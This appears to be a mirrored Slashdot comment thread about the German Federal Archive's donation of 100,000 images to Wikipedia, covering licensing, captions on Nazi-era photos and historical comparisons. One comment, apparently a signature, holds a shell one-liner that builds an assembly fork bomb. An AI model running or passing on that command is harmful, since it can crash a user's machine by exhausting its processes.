Slashdot Mirror
German Gov't Donates 100,000 Images To Wikipedia
Raul654 writes "The German Federal Archive has agreed to donate 100,000 images to Wikipedia under the German version of the Creative Commons Attribution Share-Alike License. These pictures cover a period from 1860 to present. This is the largest picture donation ever to Wikipedia, and possibly the largest in the history of the free culture movement."
Apparently, this is part of a project which will eventually make 11 million photos available for public use.
Wrong stereotype I'm afraid. I think this action will affect pictures like this
http://en.wikipedia.org/wiki/Image:Einsatzgruppen_Killing.jpg
So hopefully clusterfucks like this won't happen in future
http://commons.wikimedia.org/wiki/Commons:Deletion_requests/Image:Einsatzgruppen-Killingfull.jpg
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
To be fair, the US government rule that works by government employees are not copyrighted has provided for a lot of free images used on Wikipedia. European governments, for example, are much more restrictive about copyrights.
Is there any way to get direct access to these images without going through the Wikimedia webpage, i.e. a torrent containing them all or so?
Right here.
A link to the actual photos: http://commons.wikimedia.org/wiki/Category:Images_from_the_German_Federal_Archive
-molo
Using your sig line to advertise for friends is lame.
There is a disclaimer to that effect. Add a better (correct) description, but leave the original unchanged for documentary purposes.
It's quite a task to translate these descriptions. Those that I looked at all contained words or even concepts that people don't even know anymore ("Institute for Race Hygiene and Crime", wtf?)
Fleur de Sel
Obama "can't" send emails due to the presidential records act. More specifically, he can send all the emails he wants, but any email the president sends is a matter of public record.
-- The act of censorship is always worse than whatever is being censored. Always.
Creative Commons Attribution-ShareAlike is not exactly an onerous or hard-to-comply-with license. It is also fairly easy to understand and interpret (unlike, say, the GFDL).
To make laws that man cannot, and will not obey, serves to bring all law into contempt.
--E.C. Stanton
Correct, because the CC doesn't make the distinction between binary and source versions of a piece of work. Which makes sense, as it's rather difficult to demand the negatives of a photo made 50 years ago (and you would gain little from doing so).
CC-SA-AT however does come very close to the GPL IMHO. In most cases with data you can modify the 'binary' directly without needing a 'source' version and for many kinds of data you can't even define a separate source version of the work.
It's only when you talk about code that making this distinction makes sense, as you have a binary that isn't easily modifiable without the source it was made from.
This sig is intentionally left blank
"Institute for Race Hygiene and Crime".
It was sort of cross between the DHS and the guantanamo "Combatant Status Review Tribunal".
That Heilmann worked for the German Democratic Republic's Ministry for State Security has been well known for a while, he is objecting to claims on Wikipedia that he was a pornographer and the like, which there is very little evidence of. Someone said it better than I could
He never wanted to block the whole german Wikipedia.
The wrong article got attention due to the press and the editors actually saw that the content was wrong and fixed it.
He didn't complain about anything about his stasi-past. He apologized afterwards for the blockade, saying he never wanted to affect so many people or hide anything.
What would you do if you had a Wikipedia page with a wrong (and citation-free) content and wikipedias policy says, you can't change it.
What does this have to do with the collaboration between Wikimedia Germany Company and the German government that has gone on for several years (they donated several images before), tell me?
Kaftans were a common item of apparel for Central European Jews in those times, and served as an ethnic stereotype. "Kaftan-Jew" would be a pejorative comparable to, say, "towelhead" for an Arab.
rj
Tss. You know, the thing people have about Godwining threads is that comparing Nazi institutions to modern ones trivialises a system that caused a world war and directly killed 6 million Jews, 250,000 Romany people, thousands of homosexuals, mental patients, mentally handicapped persons and opposition figures. While certain innovations of the Bush administration make its propaganda abroad about human rights and freedom look silly (various dictators have taken to quoting Bush phrases when justifying atrocities), comparing these is obscene.
Yes, it does feel more comfortable to laugh at the Nazis, but our refusal to take this universal taint of the human character seriously has already led to unchecked massacres in Cambodia under Pol Pot, Rwanda, Bosnia and Darfur, to name but a few.
Oh, and the various aspects of Jim Crow caused a lot more death and suffering in America than any present measures. Israel exists today, because in 1945, the world's Jews had reason to believe that there was no nation on Earth where they could feel safe.
Read some history and gain some perspective, okay?